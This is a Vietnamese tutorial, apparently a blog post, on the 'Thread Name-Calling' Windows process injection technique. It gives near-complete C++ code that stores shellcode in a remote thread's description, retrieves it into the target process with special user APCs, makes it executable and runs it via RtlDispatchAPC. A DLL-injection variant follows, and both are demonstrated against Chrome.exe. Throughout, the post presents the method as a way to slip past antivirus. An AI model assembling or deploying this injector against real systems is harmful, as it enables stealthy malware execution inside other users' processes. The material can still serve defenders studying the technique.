# Thread Name-Calling - Sử dụng Thread-Name để thực hiện Process Injection ## Tổng quan Proccess Injection là một kĩ thuật quan trọng và thường được sử dụng bởi kẻ tấn công, biến thể của kĩ thuật này có thể tìm thấy ở hầu hết mọi loại mã độc thường gặp, nhằm các mục đích cơ bản như: Tránh các trình phòng thủ như AV, Can thiệp vào tiến trình và leo thang đặc quyền, ... Thread Name-Calling cũng là một cách tiếp cận mới của Process Injection. Đây là một kĩ thuật cho phép kẻ tấn công 'tiêm' shellcode vào một tiến trình đang chạy, bằng cách sử dụng các API sau: - ``GetThreadDescription``/``SetThreadDescription``: hai API được dùng để thiết lập hoặc truy xuất mô tả luồng (gọi đơn giản là tên luồng) - ``NtQueueApcThreadEx2``: một API mới cho các Asynchronous Procedure Calls(APC) Kĩ thuật này cho phép kẻ tấn công phân bổ một vùng nhớ trên tiến trình đích từ xa, và viết mã độc vào đó mà không cần đến quyền ghi ``PROCESS_VM_WRITE``. Nhờ vào tính năng này, và cũng do thực tế các API sử dụng có ít liên quan đến các kĩ thuật Process Injection phổ biến, mà kĩ thuật này có thể giúp bypass qua một số sản phẩm AV đơn giản. Quy trình đơn giản của kĩ thuật này như sau: - Tìm một luồng phù hợp trong tiến trình đích hoặc tạo một luồng mới, sau đó sử dụng ``SetThreadDescription`` để thiết lập mô tả của luồng là đoạn shellcode muốn chèn vào tiến trình - Sử dụng ``NtQueueApcThreadEx2`` để đẩy một 'hàm APC' vào APC của luồng, hàm APC mới được đẩy vào này sẽ thực hiện lệnh gọi đến ``GetThreadDescription``. Khi đó sau khi luồng hoạt động trở lại. Shellcode sẽ được chèn vào tiến trình đích và kẻ tấn công sẽ có 1 con trỏ tới vùng nhớ chứa Shellcode đó - Thực hiện cấp quyền thực thi và thực thi Shellcode từ xa ## Quy trình cụ thể của Thread Name-Calling ### Tạo Handle đến tiến trình đích Đầu tiên ta cần tạo một Handle đến tiến trình mục tiêu, để phù hợp cho việc lấy thông tin của tiến trình và thay đổi quyền của vùng nhớ sau khi ta đã tiêm được shellcode vào, Handle này cần có các quyền: ``PROCESS_QUERY_LIMITED_INFORMATION``, ``PROCESS_VM_READ``, ``PROCESS_VM_OPERATION``. Ngoài ra, nếu cần phải tạo một luồng mới, ta cũng cần cấp thêm quyền ``PROCESS_CREATE_THREAD`` ```clike= DWORD access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ | PROCESS_VM_OPERATION; access |= PROCESS_CREATE_THREAD; HANDLE hProcess = OpenProcess(access, FALSE, processID); if (!hProcess || hProcess == INVALID_HANDLE_VALUE) { printf("Opening Process Fail\n"); return false; } ``` ### Chuẩn bị con trỏ cho hàm GetThreadDescription Khi ta đã viết được Shellcode vào trong tiến trình đích, để đảm bảo chúng ta có một con trỏ trỏ tới vùng nhớ đã được viết vào, ta cần phải chuẩn bị một vị trí trong tiến trình đích để lưu con trỏ đó. ```cpp= HRESULT GetThreadDescription( [in] HANDLE hThread, [out] PWSTR *ppszThreadDescription // <- con trỏ trỏ đến vùng nhớ chứa mô tả của Thread ); ``` Hàm ``GetThreadDescription`` sẽ tự động phân bổ một vùng nhớ trên Heap, và viết mô tả luồng vào đó. Con trỏ trỏ đến vùng nhớ đó sẽ được giữ trong ``ppszThreadDescription``. Vì vậy ta cần chuẩn bị trước một địa chỉ trong tiến trình từ xa làm ``ppszThreadDescription``. Có nhiều cách khác nhau để làm điều này: - Tìm một codecave nhỏ trong tiến trình đích - Sử dụng một số trường không dùng đến của PEB trong tiến trình đích Việc tìm một codecave nhỏ trong tiến trình đích là một việc tương đối khó khăn và mất thời gian. Vì vậy thay vào đó ta có thể sử dụng 1 trường thường không dùng tới của PEB trong tiến trình đích ```cpp= [...] PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) PVOID PatchLoaderData; PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO ULONG AppModelFeatureState; ULONG SpareUlongs[2]; // ---> unused field, can be utilized to store our pointer USHORT ActiveCodePage; USHORT OemCodePage; USHORT UseCaseMapping; USHORT UnusedNlsField; PVOID WerRegistrationData; PVOID WerShipAssertPtr; union { PVOID pContextData; // WIN7 PVOID pUnused; // WIN10 PVOID EcCodeBitMap; // WIN11 }; [...] ``` Trường ``SpareUlongs``, với offset 0x340 sẽ là một lựa chọn tốt vì nó thường không được dùng đến. Có thể sử dụng trường này làm ``ppszThreadDescription``, cho phép lưu con trỏ trỏ đến Shellcode trong tiến trình đích. Việc tiếp theo cần làm là lấy địa chỉ của trường này. ```cpp= void* GetPEBUnused(HANDLE hProcess) { ULONG_PTR peb_addr = RemotePEBAddress(hProcess); // địa chỉ của PEB tiến trình đích if (!peb_addr) { printf("Cannot retrieve PEB address!\n"); return NULL; } const ULONG_PTR UNUSED_OFFSET = 0x340; //PEB->SpareUlongs[2] const ULONG_PTR remotePtr = peb_addr + UNUSED_OFFSET; return (void*)remotePtr; } ``` Lưu ý: Các phiên bản cập nhật mới của windows trong tương lai có thể sử dụng trường này, vì vậy trong trường hợp đó cần phải cập nhật lại một trường khác phù hợp hơn ### Chuẩn bị Thread để thiết lập mô tả Đến bước này, chúng ta có hai phương án tiếp cận: - Tạo một Thread mới - Chọn một Thread hiện có Với bước tạo một Thread mới, vì trước đó Handle của process ta đã cấp quyền ``PROCESS_CREATE_THREAD``, nên ta có thể dùng api ``CreateThreadEx`` để tạo thread mới. Ta sẽ tạo một Thread bị treo và Thread này gọi đến hàm ``SleepEx``. Điều này sẽ giúp ta tạo được 1 Thread ở trạng thái Alertable ```cpp= DWORD thAccess = SYNCHRONIZE | THREAD_ALL_ACCESS; pfnNtCreateThreadEx pNtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"); if (pNtCreateThreadEx == NULL) { return nullptr; } HANDLE hThread = INVALID_HANDLE_VALUE; if (pNtCreateThreadEx(&hThread, thAccess, NULL, hProcess, (LPVOID)SleepEx, (LPVOID)5000, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL) != 0) { return nullptr; } if (!hThread || hThread == INVALID_HANDLE_VALUE) { printf("Invalid thread handle!\n"); return nullptr; } ``` Còn nếu ta sử dụng 1 Thread hiện có, ta chỉ cần tìm 1 luồng và luồng này cần phải có ít nhất hai quyền ``THREAD_SET_CONTEXT | THREAD_SET_LIMITED_INFORMATION`` ```cpp= HANDLE open_thread_from_list(std::vector<DWORD>& threads, DWORD access) { for (auto itr = threads.begin(); itr != threads.end(); ++itr) { DWORD threadId = *itr; HANDLE hThread = OpenThread(access, FALSE, threadId); if (!hThread || hThread == INVALID_HANDLE_VALUE) { continue; } printf("Using thread TID=%d\n", threadId); return hThread; } return NULL; } HANDLE find_thread(HANDLE hProcess, DWORD min_access) { std::vector<DWORD> threads; if (!list_threads(hProcess, threads)) { return NULL; } HANDLE hThread = NULL; hThread = open_thread_from_list(threads, SYNCHRONIZE | min_access); return hThread; } DWORD access = SYNCHRONIZE; access |= THREAD_SET_CONTEXT; // required for the APC queue access |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description HANDLE hThread = find_thread(hProcess, access); if (!hThread || hThread == INVALID_HANDLE_VALUE) { printf("Invalid thread handle!\n"); return nullptr; } ``` ### Thiết lập mô tả cho Thread được chọn Sau khi tìm được Thread thích hợp, bước tiếp theo cần làm sẽ là thiết lập mô tả cho Thread được chọn, với nội dung mô tả chính là Shellcode mà chúng ta muốn tiêm vào. Đến đây thì sẽ có một số vấn đề với hàm ``SetThreadDescription`` ```cpp= HRESULT SetThreadDescription( [in] HANDLE hThread, [in] PCWSTR lpThreadDescription ); ``` Hàm này yêu cầu truyền vào một chuỗi widechar. Kích thước của Widechar là 2 byte, lúc này nếu như Shellcode của chúng ta có 2 byte NULL nằm liên tiếp nhau, thì chỉ 1 byte sẽ được sao chép, tức là thay vì có một chuỗi ``\x00\x00\x00\x00`` (4 byte NULL liên tiếp), chúng ta sẽ chỉ có ``\x00\x00``. Điều này làm Opcode bị thiếu và Shellcode không thể chạy được. Để khắc phục điều này, chúng ta sẽ sử dụng struct ``UNICODE_STRING`` ```cpp= typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; ``` Cấu trúc này sẽ định nghĩa độ dài của chuỗi, nhờ đó nó sẽ không coi NULL là byte kết thúc của chuỗi, từ đấy sẽ tránh được việc mất mát Opcode như trên. Khi đó ta sẽ sửa lại hàm SetThreadDescription như sau: ```cpp= HRESULT mySetThreadDescription(HANDLE hThread, const BYTE* buf, size_t buf_size) { UNICODE_STRING DestinationString = { 0 }; BYTE* padding = (BYTE*)::calloc(buf_size + sizeof(WCHAR), 1); ::memset(padding, 'A', buf_size); pfRtlInitUnicodeStringEx pRtlInitUnicodeStringEx = (pfRtlInitUnicodeStringEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeStringEx"); pRtlInitUnicodeStringEx(&DestinationString, (PCWSTR)padding); // fill with our real content: ::memcpy(DestinationString.Buffer, buf, buf_size); auto pNtSetInformationThread = reinterpret_cast<decltype(&NtSetInformationThread)>(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationThread")); NTSTATUS status = pNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &DestinationString, sizeof(UNICODE_STRING)); ::free(padding); return HRESULT_FROM_NT(status); } ``` Lúc này chỉ cần gọi hàm ra và thiết lập mô tả cho Thread ```cpp= HRESULT hr = mySetThreadDescription(hThread, buf, buf_size); if (FAILED(hr)) { printf("Failed to set thread desc\n"); return nullptr; } ``` ### Viết Shellcode vào tiến trình đích bằng NtQueueApcThreadEx2 Bình thường khi sử dụng ``QueueUserAPC`` hoặc ``NtQueueApcThread`` có một nhược điểm là để thêm hàm vào hàng đợi APC, ta cần tìm một luồng ở trạng thái Alertable. Điều này gây khó khăn khi các lựa chọn để tấn công bị hạn chế vì không phải tiến trình nào cũng có các thread ở trạng thái Alertable và việc rà quét sẽ gia tăng sự phức tạp cho trình inject Để giải quyết vấn đề này. Ta có API ``NtQueueApcThreadEx2`` ```cpp= typedef NTSTATUS(NTAPI* pfNtQueueApcThreadEx2)( IN HANDLE ThreadHandle, IN HANDLE UserApcReserveHandle, IN QUEUE_USER_APC_FLAGS QueueUserApcFlags, IN PVOID ApcRoutine, IN PVOID SystemArgument1 OPTIONAL, IN PVOID SystemArgument2 OPTIONAL, IN PVOID SystemArgument3 OPTIONAL ); ``` API này có một trường được gọi là [QUEUE_USER_APC_FLAGS](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ne-processthreadsapi-queue_user_apc_flags). Trường này có giá trị Special User APC (``QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC``) cho phép chúng ta có thể đưa hàm vào các luồng không phải ở trạng thái Alertable (trích ở [đây](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc2)) ``` Special user-mode APCs always execute, even if the target thread is not in an alertable state. For example, if the target thread is currently executing user-mode code, or if the target thread is currently performing an alertable wait, the target thread will be interrupted immediately for APC execution. If the target thread is executing a system call, or performing a non-alertable wait, the APC will be executed after the system call or non-alertable wait finishes (the wait is not interrupted). ``` Lúc này việc tiếp theo là đẩy hàm ``GetThreadDescription`` vào APC tại luồng mà chúng ta vừa thiết lập mô tả lúc nãy và gọi ``CloseHandle`` để hàm APC thực thi (hoặc ``ResumeHandle`` trong trường hợp tạo luồng mới). ```cpp= pfNtQueueApcThreadEx2 pNtQueueApcThreadEx2 = (pfNtQueueApcThreadEx2)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx2"); printf("Using NtQueueApcThreadEx2...\n"); if (!NT_SUCCESS(pNtQueueApcThreadEx2(hThread, nullptr, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, GetThreadDescription, (void*)NtCurrentThread(), (void*)remotePtr, 0))) { CloseHandle(hThread); return nullptr; } // Close Handle CloseHandle(hThread); ``` Sau khi thực thi xong, địa chỉ của Shellcode sẽ được lưu lại tại con trỏ ``remotePtr``, chính là phần địa chỉ ở PEB không dùng đến mà ta đã lấy lúc nãy. Việc lúc này chỉ là đọc data từ ``remotePtr`` và ta đã thành công viết được Shellcode vào tiến trình đích và có một con trỏ đến địa chỉ ấy. ```cpp= bool read_remote(HANDLE hProcess, IN const void* remote_addr, OUT void* buffer, size_t buffer_size) { if (!buffer || !buffer_size) return false; ::memset(buffer, 0, buffer_size); pfNtReadVirtualMemory pNtReadVirtualMemory = (pfNtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory"); if (pNtReadVirtualMemory == NULL) { return false; } SIZE_T read_size = 0; NTSTATUS status = pNtReadVirtualMemory(hProcess, (PVOID)remote_addr, buffer, buffer_size, &read_size); if (status != STATUS_SUCCESS || read_size != buffer_size) { printf("Cannot read remote address\n"); return false; } return true; } void* ReadRemotePtr(HANDLE hProcess2, const void* remotePtr, bool& isRead) { void* wPtr = nullptr; if (!read_remote(hProcess2, remotePtr, &wPtr, sizeof(void*))) { printf("Failed to read remote address!\n"); isRead = false; return nullptr; } isRead = true; return wPtr; } wchar_t* wPtr = nullptr; bool isRead = false; while ((wPtr = (wchar_t*)ReadRemotePtr(hProcess, remotePtr, isRead)) == nullptr) { if (!isRead) return nullptr; Sleep(5000); // waiting for the pointer to be written; } printf("Written to the Thread\n"); return wPtr; ``` Tóm tắt quy trình tiêm Shellcode từ xa: - Dùng ``SetThreadDescription`` để thiết lập mô tả cho Thread là Shellcode cần chèn ![image](https://hackmd.io/_uploads/ByZiIxxH1g.png) ![image](https://hackmd.io/_uploads/BJlp8xeSJx.png) - Dùng ``NtQueueApcThreadEx2`` để đẩy hàm ``GetThreadDescription`` vào APC ![image](https://hackmd.io/_uploads/BJqALllrkl.png) ![image](https://hackmd.io/_uploads/HJy28exS1x.png) - APC sẽ thực thi hàm ``GetThreadDescription``, qua đó Shellcode được tiêm vào tiến trình mục tiêu ![image](https://hackmd.io/_uploads/ByA1veer1l.png) ### Cấp quyền thực thi và thực thi Shellcode Sau khi tiêm thành công Shellcode vào tiến trình đích, việc tiếp theo cần phải làm là chạy nó. Việc truyền trực tiếp địa chỉ vào và thực thi có thể kích hoạt một số cảnh bảo bất lợi. Để tránh điều này, ta nên sử dụng một số hàm hợp lệ làm proxy để thực thi, và hàm được chọn là ``RtlDispatchAPC``. Hàm này có 3 tham số, phù hợp để đẩy nó vào hàm đợi APC bằng cách tiếp tục dùng ``NtQueueApcThreadEx2`` Việc lúc này còn lại rất đơn giản: tiếp tục tìm một Thread mới, cấp quyền thực thi từ xa, thực thi từ xa bằng cách đẩy hàm ``RtlDispatchAPC`` vào hàng đợi APC bằng cách dùng ``NtQueueApcThreadEx2`` ```cpp= bool RunIject(HANDLE hProcess, void* remotePtr, size_t payload_len, void* stackPtr = NULL) { void* shellcodePtr = remotePtr; // Find Thread DWORD access = SYNCHRONIZE; access |= THREAD_SET_CONTEXT; // required for the APC queue access |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description HANDLE hThread = find_thread(hProcess, access); if (!hThread || hThread == INVALID_HANDLE_VALUE) { printf("Invalid thread handle!\n"); return false; } // Cấp quyền thực thi từ xa DWORD oldProtect = 0; if (!VirtualProtectEx(hProcess, shellcodePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("Failed to protect: %#X\n", GetLastError()); return false; } printf("Protection changed! Old: 0x%X\n", oldProtect); bool isOk = false; auto _RtlDispatchAPC = GetProcAddress(GetModuleHandleA("ntdll.dll"), MAKEINTRESOURCEA(8)); // Queue APC Thread để đẩy RtlDispatchAPC vào hàng đợi APC if (_RtlDispatchAPC) { pfNtQueueApcThreadEx2 pNtQueueApcThreadEx2 = (pfNtQueueApcThreadEx2)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx2"); printf("Using NtQueueApcThreadEx2...\n"); if (!NT_SUCCESS(pNtQueueApcThreadEx2(hThread, nullptr, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1)))) { CloseHandle(hThread); } isOk = true; } printf("Added to the thread queue!\n"); // CloseHandle và đợi Shellcode được thực thi CloseHandle(hThread); return isOk; } ``` ## Kết quả Tiến hành thực nghiệm kĩ thuật ThreadNameCalling với một đoạn Shellcode đơn giản để chạy lệnh ``WinExec("calc.exe")`` ### Thread Name-Calling bằng cách tạo một Thread mới Chạy file ``ThreadNameCalling.exe`` với tham số truyền vào là PID của tiến trình ``Chrome.exe``. Và dưới đây là kết quả ![image](https://hackmd.io/_uploads/rkHNixxH1x.png) Có thể thấy đã Inject và thực thi Shellcode thành công Tuy nhiên kĩ thuật này tồn tại một điểm yếu là nó tạo thêm một Thread mới, và điều này là quá lộ liễu và có thể dễ dàng phát hiện ra ![image](https://hackmd.io/_uploads/B1CInleSyx.png) ### Thread Name-Calling bằng cách sử dụng Thread Sẵn có Chạy file ``ThreadNameCalling_ExistThread.exe`` với tham số truyền vào là PID của tiến trình ``Chrome.exe``. Và dưới đây là kết quả ![image](https://hackmd.io/_uploads/SkQXpllBke.png) Có thể thấy ta đã Inject và thực thi Shellcode thành công ## DLL Injection sử dụng Thread Name-Calling Có thể sử dụng Thread Name-Calling để thực hiện DLL Injection, bằng cách thay vì truyền Shellcode thì ta sẽ truyền đường dẫn của DLL độc vào. Và tại phần thực thi Shellcode thì thay vì đẩy ``RtlDispatchAPC`` vào hàng đợi APC, ta sẽ đẩy hàm ``LoadLibraryW`` vào ```cpp= bool RunIject(HANDLE hProcess, void* remotePtr) { // Find Thread DWORD access = SYNCHRONIZE; access |= THREAD_SET_CONTEXT; // required for the APC queue access |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description HANDLE hThread = find_thread(hProcess, access); if (!hThread || hThread == INVALID_HANDLE_VALUE) { printf("Invalid thread handle!\n"); return false; } pfNtQueueApcThreadEx2 pNtQueueApcThreadEx2 = (pfNtQueueApcThreadEx2)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx2"); printf("Using NtQueueApcThreadEx2...\n"); BOOL isOk = TRUE; if (!NT_SUCCESS(pNtQueueApcThreadEx2(hThread, nullptr, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, LoadLibraryW, remotePtr, 0, 0))) { CloseHandle(hThread); isOk = FALSE; } printf("Added to the thread queue!\n"); CloseHandle(hThread); return isOk; } ``` Tiến hành DLL Injection sử dụng Thread Name-Calling với tiến trình ``Chrome.exe``. DLL được sử dụng có DLLMain nhảy lên một MessageBox đơn giản, và ta thu được kết quả như hình dưới ![image](https://hackmd.io/_uploads/ry20gblrkl.png) Tuy nhiên kĩ thuật này vẫn mắc phải một điểm yếu, là nó Load Dll được Inject vào Module của tiến trình đích. Điều này rất dễ bị phát hiện ![image](https://hackmd.io/_uploads/HyonWWgSkg.png) ## Tổng Kết Thread Name-Calling sử dụng những API tương đối mới, và khắc phục được nhiều điểm yếu mà các kĩ thuật trước đó như DLL Injection hay APC Injection mắc phải. Nhờ đó mà nó có thể bypass qua một số trình AV phiên bản thấp. Tuy nhiên việc thao túng quyền truy cập từ xa hoặc có sử dụng đến APC vẫn là một hành động đáng ngờ. Vì thế nó vẫn có thể bị phát hiện bởi các trình AV mạnh như Kaspersky, ...